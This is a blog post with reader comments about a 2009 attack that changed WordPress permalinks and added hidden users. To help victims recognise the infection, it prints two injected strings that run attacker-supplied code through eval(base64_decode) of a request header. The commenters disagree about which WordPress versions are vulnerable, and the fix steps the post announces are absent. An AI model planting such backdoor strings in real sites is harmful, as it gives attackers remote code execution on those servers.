Hey Guys,
Just realized that a lot of people were hit with this latest WordPress Blog Attack – Its a MySQL Injection that screws up your permalinks and in turn makes you blog post links not work! So I figured i’d write up this quick post to help some people out!
It appears that yesterday, many wordpress blogs got hit with this nasty hack that appended a
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
Or a
“/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%
to your permalinks which rendered your blog post links useless unless someone physically removed the infected string of code from the URL
To fix things:
This should fix it. Don’t forget to upgrade your blog to the latest version.
Hope this helps everyone! You can also delete the hidden user from PHPMyAdmin directly from the database, whatever you are comfortable with.
UPDATE: Mashable has written about this issue here.
NEWEST UPDATE: WordPress Responds to Attacks
NEWEST UPDATE: OFFICIAL RESPONSE FROM WORDPRESS
Here are some other good posts on the topic and have other examples that may be more specific to your issue:
http://www.netpassiveincome.com/wordpress-mysql-injection-permalink/
http://www.journeyetc.com/2009/09/04/wordpress-permalink-rss-problems/


How to insert Dynamic Drive codes and scripts on my Joomla site?
I just deleted the users, but did not delete the user name with a weird code is that enough? also changed cpanel, db and wp passwords?
Gaith, You don’t have to change your DB pw’s but that is also a good measure, however if you need help deleting the wordpress user from the `wp_users` table of the mysql database, this post has a good explanation of how to do that at the bottom of the post http://www.netpassiveincome.com/wordpress-mysql-injection-permalink/
Damn. My wordpress is up to date, there’s no extra junk in my permalinks settings and there’s no additional users. But all my links are stuffed. A;; the symptoms of the current bug. I can’t find any info anywhere other than to make sure it’s the latest version which it is. Don’t tell me I have to do a fresh install. Arrrrrggggh!
Please be careful before spreading information that isn’t proven; it’s most likely that your system was compromised before your upgrade to 2.8.4. Have you looked at your server logs yet? Do you know when the compromise occurred, how it occurred, and which version of WP you were running at that time? THIS is the info we need before we can state which version of WP has a vulnerability.
Shawn thanks for the concern but this is a widespread attack, see this post http://mashable.com/2009/09/05/wordpress-attack/
I confirmed the validity of this post before posting this a whole day before mashable
This was fixed in a round-about way by WordPress 2.8.1
WordPress 2.8.4 is not vulnerable. It is, however, possible that you were compromised before upgrading, and they still have a user account or have placed an exploit file on your server to allow for ongoing access. Delete user accounts you don’t recognize, and remove foreign PHP files.
Thanks Mark for chiming in with that info, That could have very well been what happened, Although the attackers must have been planning this for some time then, because there are countless blogs that were attacked the past day or so, Thanks for working hard to defend these attacks!
Yes you are correct, I read that as well, BUT Do not know if its 100% Accurate, if that is the case tho then wordpress will have to release 2.8.5 immediately, within the next week
sadly none of these links provide a “fix”… it simply tells you how to scoop up the water flowing in with a tea spoon =/
Yes unfortunately right now the only thing you can do is update to latest wordpress, and if that doesn’t provide a permanent fix, WordPress will most definitely release 2.8.5 immediately, I will update this post with the latest information
hmmm thought i read the vuln. hits 2.8.4 also? (which is the latest) sorry if i’m wrong. can’t go back and check at the moment